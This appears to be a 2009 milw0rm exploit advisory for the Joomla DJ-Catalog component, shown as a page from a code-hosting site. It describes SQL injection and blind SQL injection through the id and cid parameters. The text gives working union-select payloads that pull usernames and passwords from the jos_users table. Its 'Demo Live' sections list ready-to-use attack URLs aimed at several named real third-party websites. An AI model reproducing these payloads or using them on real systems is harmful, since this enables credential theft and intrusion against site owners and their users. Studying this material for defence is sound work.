88 lines
No EOL
3.5 KiB
Text
88 lines
No EOL
3.5 KiB
Text
-----------------------------------------------------------------------------------------
|
|
joomla com_djcatalog component SQL/bsql Injection Multiple Vulnerability
|
|
-----------------------------------------------------------------------------------------
|
|
|
|
Author : Chip D3 Bi0s
|
|
Email : chipdebios[alt+64]gmail.com
|
|
Date : 15 September 2009
|
|
Critical Lvl : Moderate
|
|
Impact : Exposure of sensitive information
|
|
Where : From Remote
|
|
---------------------------------------------------------------------------
|
|
|
|
Affected software description:
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
|
|
Application : DJ-Catalog directory
|
|
version : Beta
|
|
Developer : AndrzejH
|
|
License : GPL type : Non-Commercial
|
|
Date Added : 9 September 2009
|
|
Demo : http://addons.design-joomla.eu/djcat/
|
|
http://templates.design-joomla.eu/dj-mobile/
|
|
Download : http://www.design-joomla.eu/downloads/download/components/djcatalog-1.5.x/start-download.html
|
|
Description :
|
|
|
|
Dj catalog is a universal component which meets these expectations, may serve as a directory of products or specific galleries.
|
|
Thanks to a flexible structure can be easily customized to your individual visual requirements.
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
|
|
I.SQL injection (id)/(cid)
|
|
Poc/Exploit:
|
|
~~~~~~~~~
|
|
(id)
|
|
http://127.0.0.1/[path]/index.php?option=com_djcatalog&view=showItem&id=[Sqlinjection]
|
|
[Sqlinjection]: null+and+1=0+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12+from+jos_users
|
|
|
|
(cid)
|
|
index.php?option=com_djcatalog&view=show&cid=x[Sqlinjection]
|
|
x = valid cid
|
|
Sqlinjection] = +and+1=2+union+select+1,password,3,4+from+jos_users
|
|
|
|
Demo Live:
|
|
~~~~~~~
|
|
(id)
|
|
http://server/dj-sailing/index.php?option=com_djcatalog&view=showItem&id=null+and+1=0+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12+from+jos_users
|
|
http://server/index.php?option=com_djcatalog&view=showItem&id=null+and+1=0+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12+from+jos_users
|
|
|
|
(cid)
|
|
http://www.proforte.co.za/index.php?option=com_djcatalog&view=show&cid=5+and+1=0+union+select+1,password,3,4+from+jos_users
|
|
|
|
|
|
|
|
II.BSQL injection (id)/(cid)
|
|
Poc/Exploit:
|
|
~~~~~~~~~
|
|
(id)
|
|
http://127.0.0.1/[path]/index.php?option=com_djcatalog&view=showItem&id=[BSQL]
|
|
|
|
(cid)
|
|
http://127.0.0.1/[path]/index.php?option=com_djcatalog&view=show&cid=x[BSQL]
|
|
x = valid cid
|
|
|
|
(blog&cid)
|
|
http://127.0.0.1/[path]/index.php?option=com_djcatalog&view=show&layout=blog&cid=x[BSQL]
|
|
x = valid cid
|
|
|
|
Demo Live:
|
|
~~~~~~~
|
|
(id)
|
|
http://acropolltda.com/index.php?option=com_djcatalog&view=showItem&id=1+and+(select+substring(concat(1,password),1,1)+from+jos_users+limit+0,1)=1
|
|
http://www.serviproveer.com/index.php/diseno-web/diseno-grafico/components/modules/modules/mod_googlecurrencyconverter/templates/index.php?option=com_djcatalog&view=showItem&id=1+and+substring(@@version,1,1)=5
|
|
|
|
|
|
(cid)
|
|
http://templates.design-joomla.eu/dj-mobile/index.php?option=com_djcatalog&view=show&cid=1+and+substring(@@version,1,1)=5
|
|
http://acropolltda.com/index.php?option=com_djcatalog&view=show&cid=10+and+substring(@@version,1,1)=5
|
|
|
|
(blog&cid)
|
|
http://fifthelementorgone.com/index.php?option=com_djcatalog&view=show&layout=blog&cid=1+and+substring(@@version,1,1)=5
|
|
http://www.gamerszone.org/index.php?option=com_djcatalog&view=show&layout=blog&cid=10+and+substring(@@version,1,1)=5
|
|
|
|
+++++++++++++++++++++++++++++++++++++++
|
|
#[!] Produced in South America
|
|
+++++++++++++++++++++++++++++++++++++++
|
|
|
|
# milw0rm.com [2009-09-15] |